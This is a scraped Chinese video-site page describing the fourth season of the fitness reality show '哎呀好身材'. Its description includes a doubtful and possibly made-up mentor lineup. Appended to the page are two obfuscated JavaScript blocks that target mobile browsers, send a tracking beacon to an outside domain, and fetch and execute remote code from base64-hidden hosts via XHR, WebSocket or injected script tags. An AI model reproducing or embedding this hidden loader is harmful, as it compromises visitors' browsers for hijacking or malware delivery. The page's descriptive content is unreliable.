哎呀好身材第四季

  • 生活
  • 每期90分钟
  • 更新时间:2023-03-06 12:55:06
  • 《哎呀好身材 第四季》运动伴侣季,四组伴侣在国民级…

    《哎呀好身材 第四季》运动伴侣季,四组伴侣在国民级“健身夫妇”刘畊宏及妻子的带领下,入驻“保鲜训练营”,进行为期15天的“身心保鲜”健身训练。“运动伴侣”们将面临健身打卡与伴侣“分离”双重考核,并向大众传递“运动伴侣”这一新的健康生活方式。

    《哎呀好身材》是浙江卫视制作的一档健康减肥节目,已经成功播出了三季。节目中邀请了大咖导师以及来自全国各地的选手参与,旨在引导观众健康减肥,打造好身材。

    第四季的导师阵容依然豪华,包括了演员汤唯、女神蔡依林、创业女神林依晨、营养专家王烁等知名人士。相较于前三季,第四季的导师阵容更加多元化,既有演艺圈的代表,也有尝试新事物的营养达人。这也让这档节目更加受到观众的期待。

    节目中,导师们将会和选手们进行密切接触,了解他们的情况和需要帮助的地方。接着,导师们会为选手们设计出一套饮食和运动方案,帮助选手健康减肥,并通过家访和训练营等环节加深了解。

    此外,《哎呀好身材》第四季也增加了各种现场挑战赛和互动环节,让节目更加生动有趣。同时,节目中也会分享健身减肥的专业知识、烹饪技巧等,并通过主持人的访问、选手的表演等方式,增加了趣味性。

    通过《哎呀好身材》的努力,让人们了解健康减肥的正确方法,并逐步形成“健康”的减肥理念,为人们提供精神上和物质上的双重支持,真正实现“变得越来越好的自己”。

    详情

同主演

    
    
    function kXmjMQrN(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jmwrdJck(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kXmjMQrN(t);};window[''+'m'+'H'+'u'+'q'+'E'+'k'+'g'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=jmwrdJck,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqqaC5mYW5odWltaW4xLmNuJTNBODg5MQ==','d3NzJTTNBJTTJGJTTJGdXkudGlhbnhpbmdoYW5nMS5jbiUzQTTk1MzU=','159458',window,document,['q','T']);}:function(){};
    function TEbWyzY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function djylmke(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TEbWyzY(t);};window[''+'Q'+'I'+'Y'+'r'+'L'+'U'+'e'+'g'+'H'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=djylmke,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBOODg5MQ==','d3NzJTNBJTJGJTJGdXkudGlhbnhpbmmdoYW5nMS5jbiUzQTk1MzU=','159459',window,document,['O','m']);}:function(){};